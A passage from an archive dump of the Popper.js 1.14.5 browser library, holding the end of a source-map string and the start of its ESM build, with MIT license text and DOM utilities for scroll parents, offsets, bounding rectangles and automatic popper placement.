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"}esm/popper.js000064400000253341151677356750007231 0ustar00/**!
 * @fileOverview Kickass library to create and place poppers near their reference elements.
 * @version 1.14.5
 * @license
 * Copyright (c) 2016 Federico Zivolo and contributors
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 */
var isBrowser = typeof window !== 'undefined' && typeof document !== 'undefined';

var longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];
var timeoutDuration = 0;
for (var i = 0; i < longerTimeoutBrowsers.length; i += 1) {
  if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {
    timeoutDuration = 1;
    break;
  }
}

function microtaskDebounce(fn) {
  var called = false;
  return function () {
    if (called) {
      return;
    }
    called = true;
    window.Promise.resolve().then(function () {
      called = false;
      fn();
    });
  };
}

function taskDebounce(fn) {
  var scheduled = false;
  return function () {
    if (!scheduled) {
      scheduled = true;
      setTimeout(function () {
        scheduled = false;
        fn();
      }, timeoutDuration);
    }
  };
}

var supportsMicroTasks = isBrowser && window.Promise;

/**
* Create a debounced version of a method, that's asynchronously deferred
* but called in the minimum time possible.
*
* @method
* @memberof Popper.Utils
* @argument {Function} fn
* @returns {Function}
*/
var debounce = supportsMicroTasks ? microtaskDebounce : taskDebounce;

/**
 * Check if the given variable is a function
 * @method
 * @memberof Popper.Utils
 * @argument {Any} functionToCheck - variable to check
 * @returns {Boolean} answer to: is a function?
 */
function isFunction(functionToCheck) {
  var getType = {};
  return functionToCheck && getType.toString.call(functionToCheck) === '[object Function]';
}

/**
 * Get CSS computed property of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Eement} element
 * @argument {String} property
 */
function getStyleComputedProperty(element, property) {
  if (element.nodeType !== 1) {
    return [];
  }
  // NOTE: 1 DOM access here
  var window = element.ownerDocument.defaultView;
  var css = window.getComputedStyle(element, null);
  return property ? css[property] : css;
}

/**
 * Returns the parentNode or the host of the element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} parent
 */
function getParentNode(element) {
  if (element.nodeName === 'HTML') {
    return element;
  }
  return element.parentNode || element.host;
}

/**
 * Returns the scrolling parent of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} scroll parent
 */
function getScrollParent(element) {
  // Return body, `getScroll` will take care to get the correct `scrollTop` from it
  if (!element) {
    return document.body;
  }

  switch (element.nodeName) {
    case 'HTML':
    case 'BODY':
      return element.ownerDocument.body;
    case '#document':
      return element.body;
  }

  // Firefox want us to check `-x` and `-y` variations as well

  var _getStyleComputedProp = getStyleComputedProperty(element),
      overflow = _getStyleComputedProp.overflow,
      overflowX = _getStyleComputedProp.overflowX,
      overflowY = _getStyleComputedProp.overflowY;

  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {
    return element;
  }

  return getScrollParent(getParentNode(element));
}

var isIE11 = isBrowser && !!(window.MSInputMethodContext && document.documentMode);
var isIE10 = isBrowser && /MSIE 10/.test(navigator.userAgent);

/**
 * Determines if the browser is Internet Explorer
 * @method
 * @memberof Popper.Utils
 * @param {Number} version to check
 * @returns {Boolean} isIE
 */
function isIE(version) {
  if (version === 11) {
    return isIE11;
  }
  if (version === 10) {
    return isIE10;
  }
  return isIE11 || isIE10;
}

/**
 * Returns the offset parent of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} offset parent
 */
function getOffsetParent(element) {
  if (!element) {
    return document.documentElement;
  }

  var noOffsetParent = isIE(10) ? document.body : null;

  // NOTE: 1 DOM access here
  var offsetParent = element.offsetParent || null;
  // Skip hidden elements which don't have an offsetParent
  while (offsetParent === noOffsetParent && element.nextElementSibling) {
    offsetParent = (element = element.nextElementSibling).offsetParent;
  }

  var nodeName = offsetParent && offsetParent.nodeName;

  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {
    return element ? element.ownerDocument.documentElement : document.documentElement;
  }

  // .offsetParent will return the closest TH, TD or TABLE in case
  // no offsetParent is present, I hate this job...
  if (['TH', 'TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 && getStyleComputedProperty(offsetParent, 'position') === 'static') {
    return getOffsetParent(offsetParent);
  }

  return offsetParent;
}

function isOffsetContainer(element) {
  var nodeName = element.nodeName;

  if (nodeName === 'BODY') {
    return false;
  }
  return nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element;
}

/**
 * Finds the root node (document, shadowDOM root) of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} node
 * @returns {Element} root node
 */
function getRoot(node) {
  if (node.parentNode !== null) {
    return getRoot(node.parentNode);
  }

  return node;
}

/**
 * Finds the offset parent common to the two provided nodes
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element1
 * @argument {Element} element2
 * @returns {Element} common offset parent
 */
function findCommonOffsetParent(element1, element2) {
  // This check is needed to avoid errors in case one of the elements isn't defined for any reason
  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {
    return document.documentElement;
  }

  // Here we make sure to give as "start" the element that comes first in the DOM
  var order = element1.compareDocumentPosition(element2) & Node.DOCUMENT_POSITION_FOLLOWING;
  var start = order ? element1 : element2;
  var end = order ? element2 : element1;

  // Get common ancestor container
  var range = document.createRange();
  range.setStart(start, 0);
  range.setEnd(end, 0);
  var commonAncestorContainer = range.commonAncestorContainer;

  // Both nodes are inside #document

  if (element1 !== commonAncestorContainer && element2 !== commonAncestorContainer || start.contains(end)) {
    if (isOffsetContainer(commonAncestorContainer)) {
      return commonAncestorContainer;
    }

    return getOffsetParent(commonAncestorContainer);
  }

  // one of the nodes is inside shadowDOM, find which one
  var element1root = getRoot(element1);
  if (element1root.host) {
    return findCommonOffsetParent(element1root.host, element2);
  } else {
    return findCommonOffsetParent(element1, getRoot(element2).host);
  }
}

/**
 * Gets the scroll value of the given element in the given side (top and left)
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @argument {String} side `top` or `left`
 * @returns {number} amount of scrolled pixels
 */
function getScroll(element) {
  var side = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'top';

  var upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';
  var nodeName = element.nodeName;

  if (nodeName === 'BODY' || nodeName === 'HTML') {
    var html = element.ownerDocument.documentElement;
    var scrollingElement = element.ownerDocument.scrollingElement || html;
    return scrollingElement[upperSide];
  }

  return element[upperSide];
}

/*
 * Sum or subtract the element scroll values (left and top) from a given rect object
 * @method
 * @memberof Popper.Utils
 * @param {Object} rect - Rect object you want to change
 * @param {HTMLElement} element - The element from the function reads the scroll values
 * @param {Boolean} subtract - set to true if you want to subtract the scroll values
 * @return {Object} rect - The modifier rect object
 */
function includeScroll(rect, element) {
  var subtract = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;

  var scrollTop = getScroll(element, 'top');
  var scrollLeft = getScroll(element, 'left');
  var modifier = subtract ? -1 : 1;
  rect.top += scrollTop * modifier;
  rect.bottom += scrollTop * modifier;
  rect.left += scrollLeft * modifier;
  rect.right += scrollLeft * modifier;
  return rect;
}

/*
 * Helper to detect borders of a given element
 * @method
 * @memberof Popper.Utils
 * @param {CSSStyleDeclaration} styles
 * Result of `getStyleComputedProperty` on the given element
 * @param {String} axis - `x` or `y`
 * @return {number} borders - The borders size of the given axis
 */

function getBordersSize(styles, axis) {
  var sideA = axis === 'x' ? 'Left' : 'Top';
  var sideB = sideA === 'Left' ? 'Right' : 'Bottom';

  return parseFloat(styles['border' + sideA + 'Width'], 10) + parseFloat(styles['border' + sideB + 'Width'], 10);
}

function getSize(axis, body, html, computedStyle) {
  return Math.max(body['offset' + axis], body['scroll' + axis], html['client' + axis], html['offset' + axis], html['scroll' + axis], isIE(10) ? parseInt(html['offset' + axis]) + parseInt(computedStyle['margin' + (axis === 'Height' ? 'Top' : 'Left')]) + parseInt(computedStyle['margin' + (axis === 'Height' ? 'Bottom' : 'Right')]) : 0);
}

function getWindowSizes(document) {
  var body = document.body;
  var html = document.documentElement;
  var computedStyle = isIE(10) && getComputedStyle(html);

  return {
    height: getSize('Height', body, html, computedStyle),
    width: getSize('Width', body, html, computedStyle)
  };
}

var classCallCheck = function (instance, Constructor) {
  if (!(instance instanceof Constructor)) {
    throw new TypeError("Cannot call a class as a function");
  }
};

var createClass = function () {
  function defineProperties(target, props) {
    for (var i = 0; i < props.length; i++) {
      var descriptor = props[i];
      descriptor.enumerable = descriptor.enumerable || false;
      descriptor.configurable = true;
      if ("value" in descriptor) descriptor.writable = true;
      Object.defineProperty(target, descriptor.key, descriptor);
    }
  }

  return function (Constructor, protoProps, staticProps) {
    if (protoProps) defineProperties(Constructor.prototype, protoProps);
    if (staticProps) defineProperties(Constructor, staticProps);
    return Constructor;
  };
}();





var defineProperty = function (obj, key, value) {
  if (key in obj) {
    Object.defineProperty(obj, key, {
      value: value,
      enumerable: true,
      configurable: true,
      writable: true
    });
  } else {
    obj[key] = value;
  }

  return obj;
};

var _extends = Object.assign || function (target) {
  for (var i = 1; i < arguments.length; i++) {
    var source = arguments[i];

    for (var key in source) {
      if (Object.prototype.hasOwnProperty.call(source, key)) {
        target[key] = source[key];
      }
    }
  }

  return target;
};

/**
 * Given element offsets, generate an output similar to getBoundingClientRect
 * @method
 * @memberof Popper.Utils
 * @argument {Object} offsets
 * @returns {Object} ClientRect like output
 */
function getClientRect(offsets) {
  return _extends({}, offsets, {
    right: offsets.left + offsets.width,
    bottom: offsets.top + offsets.height
  });
}

/**
 * Get bounding client rect of given element
 * @method
 * @memberof Popper.Utils
 * @param {HTMLElement} element
 * @return {Object} client rect
 */
function getBoundingClientRect(element) {
  var rect = {};

  // IE10 10 FIX: Please, don't ask, the element isn't
  // considered in DOM in some circumstances...
  // This isn't reproducible in IE10 compatibility mode of IE11
  try {
    if (isIE(10)) {
      rect = element.getBoundingClientRect();
      var scrollTop = getScroll(element, 'top');
      var scrollLeft = getScroll(element, 'left');
      rect.top += scrollTop;
      rect.left += scrollLeft;
      rect.bottom += scrollTop;
      rect.right += scrollLeft;
    } else {
      rect = element.getBoundingClientRect();
    }
  } catch (e) {}

  var result = {
    left: rect.left,
    top: rect.top,
    width: rect.right - rect.left,
    height: rect.bottom - rect.top
  };

  // subtract scrollbar size from sizes
  var sizes = element.nodeName === 'HTML' ? getWindowSizes(element.ownerDocument) : {};
  var width = sizes.width || element.clientWidth || result.right - result.left;
  var height = sizes.height || element.clientHeight || result.bottom - result.top;

  var horizScrollbar = element.offsetWidth - width;
  var vertScrollbar = element.offsetHeight - height;

  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`
  // we make this check conditional for performance reasons
  if (horizScrollbar || vertScrollbar) {
    var styles = getStyleComputedProperty(element);
    horizScrollbar -= getBordersSize(styles, 'x');
    vertScrollbar -= getBordersSize(styles, 'y');

    result.width -= horizScrollbar;
    result.height -= vertScrollbar;
  }

  return getClientRect(result);
}

function getOffsetRectRelativeToArbitraryNode(children, parent) {
  var fixedPosition = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;

  var isIE10 = isIE(10);
  var isHTML = parent.nodeName === 'HTML';
  var childrenRect = getBoundingClientRect(children);
  var parentRect = getBoundingClientRect(parent);
  var scrollParent = getScrollParent(children);

  var styles = getStyleComputedProperty(parent);
  var borderTopWidth = parseFloat(styles.borderTopWidth, 10);
  var borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);

  // In cases where the parent is fixed, we must ignore negative scroll in offset calc
  if (fixedPosition && isHTML) {
    parentRect.top = Math.max(parentRect.top, 0);
    parentRect.left = Math.max(parentRect.left, 0);
  }
  var offsets = getClientRect({
    top: childrenRect.top - parentRect.top - borderTopWidth,
    left: childrenRect.left - parentRect.left - borderLeftWidth,
    width: childrenRect.width,
    height: childrenRect.height
  });
  offsets.marginTop = 0;
  offsets.marginLeft = 0;

  // Subtract margins of documentElement in case it's being used as parent
  // we do this only on HTML because it's the only element that behaves
  // differently when margins are applied to it. The margins are included in
  // the box of the documentElement, in the other cases not.
  if (!isIE10 && isHTML) {
    var marginTop = parseFloat(styles.marginTop, 10);
    var marginLeft = parseFloat(styles.marginLeft, 10);

    offsets.top -= borderTopWidth - marginTop;
    offsets.bottom -= borderTopWidth - marginTop;
    offsets.left -= borderLeftWidth - marginLeft;
    offsets.right -= borderLeftWidth - marginLeft;

    // Attach marginTop and marginLeft because in some circumstances we may need them
    offsets.marginTop = marginTop;
    offsets.marginLeft = marginLeft;
  }

  if (isIE10 && !fixedPosition ? parent.contains(scrollParent) : parent === scrollParent && scrollParent.nodeName !== 'BODY') {
    offsets = includeScroll(offsets, parent);
  }

  return offsets;
}

function getViewportOffsetRectRelativeToArtbitraryNode(element) {
  var excludeScroll = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;

  var html = element.ownerDocument.documentElement;
  var relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);
  var width = Math.max(html.clientWidth, window.innerWidth || 0);
  var height = Math.max(html.clientHeight, window.innerHeight || 0);

  var scrollTop = !excludeScroll ? getScroll(html) : 0;
  var scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;

  var offset = {
    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,
    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,
    width: width,
    height: height
  };

  return getClientRect(offset);
}

/**
 * Check if the given element is fixed or is inside a fixed parent
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @argument {Element} customContainer
 * @returns {Boolean} answer to "isFixed?"
 */
function isFixed(element) {
  var nodeName = element.nodeName;
  if (nodeName === 'BODY' || nodeName === 'HTML') {
    return false;
  }
  if (getStyleComputedProperty(element, 'position') === 'fixed') {
    return true;
  }
  return isFixed(getParentNode(element));
}

/**
 * Finds the first parent of an element that has a transformed property defined
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} first transformed parent or documentElement
 */

function getFixedPositionOffsetParent(element) {
  // This check is needed to avoid errors in case one of the elements isn't defined for any reason
  if (!element || !element.parentElement || isIE()) {
    return document.documentElement;
  }
  var el = element.parentElement;
  while (el && getStyleComputedProperty(el, 'transform') === 'none') {
    el = el.parentElement;
  }
  return el || document.documentElement;
}

/**
 * Computed the boundaries limits and return them
 * @method
 * @memberof Popper.Utils
 * @param {HTMLElement} popper
 * @param {HTMLElement} reference
 * @param {number} padding
 * @param {HTMLElement} boundariesElement - Element used to define the boundaries
 * @param {Boolean} fixedPosition - Is in fixed position mode
 * @returns {Object} Coordinates of the boundaries
 */
function getBoundaries(popper, reference, padding, boundariesElement) {
  var fixedPosition = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : false;

  // NOTE: 1 DOM access here

  var boundaries = { top: 0, left: 0 };
  var offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);

  // Handle viewport case
  if (boundariesElement === 'viewport') {
    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);
  } else {
    // Handle other cases based on DOM element used as boundaries
    var boundariesNode = void 0;
    if (boundariesElement === 'scrollParent') {
      boundariesNode = getScrollParent(getParentNode(reference));
      if (boundariesNode.nodeName === 'BODY') {
        boundariesNode = popper.ownerDocument.documentElement;
      }
    } else if (boundariesElement === 'window') {
      boundariesNode = popper.ownerDocument.documentElement;
    } else {
      boundariesNode = boundariesElement;
    }

    var offsets = getOffsetRectRelativeToArbitraryNode(boundariesNode, offsetParent, fixedPosition);

    // In case of HTML, we need a different computation
    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {
      var _getWindowSizes = getWindowSizes(popper.ownerDocument),
          height = _getWindowSizes.height,
          width = _getWindowSizes.width;

      boundaries.top += offsets.top - offsets.marginTop;
      boundaries.bottom = height + offsets.top;
      boundaries.left += offsets.left - offsets.marginLeft;
      boundaries.right = width + offsets.left;
    } else {
      // for all the other DOM elements, this one is good
      boundaries = offsets;
    }
  }

  // Add paddings
  padding = padding || 0;
  var isPaddingNumber = typeof padding === 'number';
  boundaries.left += isPaddingNumber ? padding : padding.left || 0;
  boundaries.top += isPaddingNumber ? padding : padding.top || 0;
  boundaries.right -= isPaddingNumber ? padding : padding.right || 0;
  boundaries.bottom -= isPaddingNumber ? padding : padding.bottom || 0;

  return boundaries;
}

function getArea(_ref) {
  var width = _ref.width,
      height = _ref.height;

  return width * height;
}

/**
 * Utility used to transform the `auto` placement to the placement with more
 * available space.
 * @method
 * @memberof Popper.Utils
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function computeAutoPlacement(placement, refRect, popper, reference, boundariesElement) {
  var padding = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : 0;

  if (placement.indexOf('auto') === -1) {
    return placement;
  }

  var boundaries = getBoundaries(popper, reference, padding, boundariesElement);

  var rects = {
    top: {
      width: boundaries.width,
      height: refRect.top - boundaries.top
    },
    right: {
      width: boundaries.right - refRect.right,
      height: boundaries.height
    },
    bottom: {
      width: boundaries.width,
      height: boundaries.bottom - refRect.bottom
    },
    left: {
      width: refRect.left - boundaries.left,
      height: boundaries.height
    }
  };

  var sortedAreas = Object.keys(rects).map(function (key) {
    return _extends({
      key: key
    }, rects[key], {
      area: getArea(rects[key])
    });
  }).sort(function (a, b) {
    return b.area - a.area;
  });

  var filteredAreas = sortedAreas.filter(function (_ref2) {
    var width = _ref2.width,
        height = _ref2.height;
    return width >= popper.clientWidth && height >= popper.clientHeight;
  });

  var computedPlacement = filteredAreas.length > 0 ? filteredAreas[0].key : sortedAreas[0].key;

  var variation = placement.split('-')[1];

  return computedPlacement + (variation ? '-' + variation : '');
}

/**
 * Get offsets to the reference element
 * @method
 * @memberof Popper.Utils
 * @param {Object} state
 * @param {Element} popper - the popper element
 * @param {Element} reference - the reference element (the popper will be relative to this)
 * @param {Element} fixedPosition - is in fixed position mode
 * @returns {Object} An object containing the offsets which will be applied to the popper
 */
function getReferenceOffsets(state, popper, reference) {
  var fixedPosition = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : null;

  var commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);
